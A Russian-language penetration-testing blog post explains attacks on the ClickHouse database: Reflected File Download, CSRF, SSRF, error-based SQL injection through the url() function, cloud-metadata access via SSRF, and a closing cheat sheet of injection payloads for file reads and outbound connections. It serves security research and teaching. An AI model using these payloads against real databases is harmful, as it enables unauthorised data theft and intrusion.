Инъекции в Yandex ClickHouse

In English: https://blog.deteact.com/yandex-clickhouse-injection/

В целях обработки большого количества данных в Яндекс.Метрике, Яндексом была создана колоночная СУБД ClickHouse. В рамках проектов по анализу защищённости мы встречали ClickHouse в системах статистики, сбора событий, в биржевых системах.

URL: https://clickhouse.yandex/

Введение

Главными преимуществами ClickHouse являются скорость, гибкость, масштабируемость, и основной областью применения являются системы аналитики. 

Колоночные СУБД обеспечивают высокую производительность для задач, в которых необходимо часто запрашивать данные из одного столбца, и остальные данные из строки не нужны.

Благодаря используемой структуре хранимых данных, обращение идёт только к нужным столбцам, что существенно увеличивает скорость запросов. Также это позволяет эффективнее сжимать данные при хранении, потому что данные в одном столбце имеют общий тип.

Более детально про сравнение строковых и колоночных СУБД можно почитать здесь.

Особенности синтаксиса

Сами разработчики Clickhouse выделяют несколько существенных ограничений, которые есть в СУБД:

  • Ограниченная поддержка JOIN
  • Нет UPDATE и DELETE
  • Слабая совместимость со стандартом SQL

Отсутствие привычных UPDATE и DELETE связано с особенностями архитектура хранения. Данные хранятся в колонках и чтобы просто удалить какую-то запись придется прочитать и мутировать n колонок.

Тем не менее, в 2018 году была добавлена поддержка ALTER UPDATE и ALTER DELETE. Чем они отличаются от стандартных UPDATE и DELETE:

  • Выполняются асинхронно
  • Не блокируют вставки
  • Не блокируют запросы
  • Не блокируют друг друга

В отличие от некоторых диалектов SQL, в ClickHouse строгая типизация. Не производится неявные преобразования между типами.

Вместо стандартного UNION для объединения запросов в ClickHouse используется UNION ALL:

Интересное для нас выражение INTO OUTFILE работает только в консольном клиенте.  Через HTTP-интерфейс доступа к нему нет (https://github.com/yandex/ClickHouse/blob/9a0c3f4b820b4bf7bb2307f32dd902fdc7c4241d/dbms/programs/server/HTTPHandler.cpp#L625 )

Интересные возможности

В ClickHouse есть 2 сетевых интерфейса:

  • HTTP
  • Native TCP

Оба протокола могут быть также обёрнуты в TLS, но на практике мало кто это делает.

HTTP-интерфейс в ClickHouse позволяет легко написать коннектор к базе на любом языке.

При использовании HTTP-метода GET разрешены лишь запросы, не изменяющие данные, а чтобы изменять или создавать записи нужно использовать метод POST. При этом сам запрос можно передавать как в теле POST-запроса, так и в query string (как GET-, так и POST-запроса).

Как найти ClickHouse в сети? Ниже пример запроса для поиска публично доступных инстансов через Shodan:

В самом языке ClickHouse есть поддержка табличной функции url, которая позволяет обращаться к удалённым узлам по протоколам HTTP и HTTPS.

Также доступна табличная функция file, которая позволяет читать файлы из определенной директории, и обойти ограничение не получится.

Так как в ClickHouse встроен клиент MySQL, мы, разумеется, сразу подумали о чтении произвольных файлов через LOAD DATA LOCAL INFILE. Но выяснилось, что такая уязвимость действительно существовала, и её уже исправил внутренний отдел по ИБ яндекса. Также были исправлены уязвимости, связанные с JDBC-подключениями и возможностью инъекции в протокол через имя пользователя.

СVE: https://clickhouse.yandex/docs/ru/security_changelog/#ispravleno-v-relize-1-1-54390-ot-6-iiulia-2018

Патч (отключение возможности): https://github.com/yandex/ClickHouse/blob/875f78c5ee0ddc84366a76ec57d214d198581e54/libs/libmysqlxx/include/mysqlxx/Connection.h#L17 

Полезную информацию можно получить из системных таблиц, они предоставляют доступ к информации состоянии системы, об имеющихся базах, таблицах и колонках (таблицы databases, tables, columns), о выполняющихся сейчас запросах (таблица processes) и т.д. Подробнее про системные таблицы: https://clickhouse.yandex/docs/ru/operations/system_tables/  

Атаки на HTTP

Наличие у ClickHouse HTTP-интерфейса означает, что для этой СУБД могут быть актуальны некоторые атаки, специфичные для веб-приложений.

Reflected File Download

HTTP-интерфейс ClickHouse может позволять провести атаку Reflected File Download. Для этого необходимо выполнение одного из следующих условий:

  • Если не установлен пароль
  • Если пароль сохранен в браузере жертвы
  • Если пароль установлен и мы его знаем

Пример запроса: http://clickhouse:8123/yandex.bat?query=select+’calc’

Как видно, в ответ веб-сервер отдаёт не ошибку 404, а файл (attachment) с контролируемым атакующим именем. Таким образом, можно скачать на компьютер жертвы исполняемый файл с любым содержимым.

CSRF

Как и в случае с RFD, эксплуатация CSRF возможна при отсутствии авторизации (или известном пароле).

Пример HTML-формы для проведения атаки:

SSRF

Ещё одним следствием наличия HTTP-интерфейса является то, что при помощи атаки SSRF на другой интерфейс можно выполнить произвольные запросы в ClickHouse.

Для readonly-запросов достаточно будет метода GET. Если требуется авторизация, то логин и пароль можно передать в query string: ?username=…&password=…

Инъекции в ClickHouse

Error-based injection

Пример эксплуатации error-based инъекции через табличную функцию url в реальном приложении:

Результат выполнения подзапроса используется в качестве имени узла для HTTP-запроса при помощи функции url. Поскольку такого узла не существует, библиотека Poco (используется в ClickHouse) выбрасывает исключение, в тексте которого есть результат.

SSRF через SQL-инъекцию

Очевидно, функция url позволяет и провести атаку SSRF через SQL-инъекцию, ниже продемонстрировано получение доступа к AWS EC2 API: 

На этот раз в функцию url мы подставляем результат выполнения функции url, таким образом, в тексте ошибки видим содержимое HTTP-ответа. Стоит отметить, что текст ошибки приводится к нижнему регистру (видно по подстроке «result» на скриншоте).

Cheat Sheet

GoalPayload
VersionSELECT version()
Current DBSELECT currentDatabase()
List DBSHOW databases OR SELECT * FROM system.databases
List columnsSELECT * FROM system.columns
List tablesSELECT * FROM system.tables
HostnameSELECT hostName()
ConcatSELECT concat(‘one’,’two’) OR SELECT ‘one’||’two’
CommentSELECT 1 /*comment*/ OR SELECT 1—comment
Dummy table (dual)SELECT * FROM system.one
Current UserSELECT ‘current_user’,user FROM system.processes WHERE query LIKE ‘%current_user%’
Current os_userSELECT os_user FROM system.processes
HTTP requestSELECT * FROM url(‘http://server’, ‘CSV’, col String)
Read fileSELECT * FROM file(‘nameFile’, ‘CSV’, col String)
Unhex SELECT unhex(‘746f62695f70697a6461’)
Create an array of argument values SELECT groupArray(x)
Concat array of stringsSELECT arrayStringConcat(arr[, separator])
Connect to MySQLmysql(‘host:port’, ‘database’, ‘table’, ‘user’, ‘password'[, replace_query, ‘on_duplicate_clause’]);
JDBC connectionSELECT * FROM jdbc(‘jdbc:mysql://localhost:3306/?user=root&password=root’, ‘schema’, ‘table’)

One Reply to “Инъекции в Yandex ClickHouse”

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *